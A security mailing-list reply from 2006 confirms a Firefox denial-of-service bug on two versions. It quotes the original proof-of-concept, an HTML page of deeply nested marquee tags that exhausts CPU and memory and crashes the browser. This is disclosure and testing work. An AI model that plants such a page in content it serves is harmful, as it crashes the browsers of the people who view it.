Re: Fire fox dos exploit
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
I was able to use this proof of concept code with the following results:
With Firefox 1.0.8 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)
Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8)
I was able to cause a resource exhaustion with firefox increasing cpu
cycles and memory allocation well beyond normal utilization but without
crashing.
With Firefox 1.5.0.3 (Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3)
Firefox causes resource exhaustion to the point of crashing the application.
Josh Zlatin-Amishav wrote:
> On Tue, 30 May 2006, co296@xxxxxxx wrote:
>
>> I have found a problem which causes denial of service on fire fox browser
>
>
> Can you give us some more details, like versions and platforms affected?
> I was unable to recreate this flaw using firefox 1.5.dfsg+1.5.0 on
> Debian unstable.
>
> --
> - Josh
>
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></mar
q
>>
>
> ue
>
>> e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
>>
>> </body>
>> </html>
>>
>>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.1 (GNU/Linux)
Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org
iD8DBQFEffkxosz5/4IhOt4RAnmyAJ9a/TtfSGFlPW+wT/r6RyS3E57M3gCeIC4X
/FsKrmn9RqJrINi0Z5PwvZA=
=Wso3
-----END PGP SIGNATURE-----